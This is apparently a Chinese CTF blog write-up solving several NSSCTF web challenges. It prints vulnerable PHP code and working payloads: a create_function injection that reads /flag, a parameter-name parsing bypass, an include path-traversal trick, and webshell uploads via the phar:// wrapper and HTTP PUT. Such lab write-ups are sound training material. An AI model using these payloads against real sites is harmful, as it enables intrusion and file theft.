NSSCTF 3-5
[NISACTF 2022]level-up
-
知识点:creat function()绕过注入
-
level -4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}
php的变量解析绕过, php会把请求参数中的非法字符转为下划线
使用exp
NI+SA+=txw4ever
-
last level
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
} -
分析:
关注
$a('',$b);
这里把$a赋值为create function即可create function()函数介绍
1
2
3
4creat_function(string $agrs,string $code)
//string $agrs 声明的函数变量部分
//string $code 执行的方法代码部分create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句,而这个位置正好是属于(string $code)的.
因此此处
$a('',$b);
等价于create_frunction(‘’,$b) -
EXP
1
a=\create_function&b=return 'mmkjhhsd';}var_dump(file_get_contents('/flag'));/*
其实也就是相当于执行了:
1
2
3
4
5function niming($a,$b){
return 'mmkjhhsd';
}
var_dump(file_get_contents('/flag'));/*
}即绕过creat function(),执行了
var_dump(file_get_contents('/flag'));
-
create function()函数 —参考文章
1 |
|
不认识的函数也太多了悲
函数 | 功能 | 参数 |
---|---|---|
mb_strpos() | 返回要查找的字符串在别一个字符串中首次出现的位置 | mb_strpos (haystack ,needle )haystack:要被检查的字符串。needle:要搜索的字符串 |
mb_substr() | 函数返回字符串的一部分。 | str 必需。从该 string 中提取子字符串,start 必需。规定在字符串的何处开始。length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。 |
in_array() | 搜索数组中是否存在指定的值。 | bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) needle 必需。规定要在数组搜索的值。haystack必需。规定要搜索的数组.strict可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
大佬审计完的注释版:
1 | class emmm |
include()函数包含的一个神奇功能
以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
此题正是利用这个点,实现既能绕过前面的白名单检测又能到最后包含正确的文件
详解:
xxxx?
/
../../../../ffffllllaaaagggg这里第一个问号与第一个
/
作为include第一次尝试包含的文件名字hint.php?
,明显这不是一个可包含的文件.因此include自动找到最后一个/
(也是第一个)后面的作为包含文件名也即../../../../ffffllllaaaagggg
当然想测试一下这个
特性
还可以进一步.source.php?/我c牛魔CTF/../../../../ffffllllaaaagggg/../../../../ffffllllaaaagggg最后一个
/
已经很明显能找出来了.当然前面都不用看了.直接在最后一个写入包含地址即可!因此成功验证猜想!!!
Payload分析:
1 | http://node4.anna.nssctf.cn:28786/source.php |
此处/../../../../ffffllllaaaagggg
第一个/
就是让include函数找不到source.php?/
这个文件
[NISACTF 2022]bingdundun~
文件上传结合phar伪协议读取文件
打开题目,看到有个url传参.输入index试试.页面输出全是index.php
猜测题目后门自动补全php.然后进去文件上传界面,提示可以上传图片和压缩包这个就很敏感.此时应该想到phar伪协议
可以直接读取zip包了
写好一句话🐎,文件zip压缩后上传.文件名(shell.php->shell.zip)
当然此处也可以直接上传phar包
(区别类似jar包,也是类似于压缩包的东西吧.反正就是里面会包含php后门文件)
构造phar
直接套(参考各大网站
1 |
|
phar包里就会自动包含67.php
文件,再用phar协议读取即可!
phar:// 主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击
用phar://伪协议访问上传的文件
1 | ?bingdundun=phar://65498eab3d7f96de9c53fb2f02dac949.zip/shell |
因为后面自动补全php,因此只要写shell即可
[NSSRound#1 Basic]basic_check
有点偏冷了
PUT请求文件上传
用curl或者nikto扫描就知道可以使用网站可以使用HTTP的哪些方法
命令:
1 | curl -i -X OPTIONS "url" |
检测到可以使用PUT方法后上传后门文件,如图:
接着就是老套路了….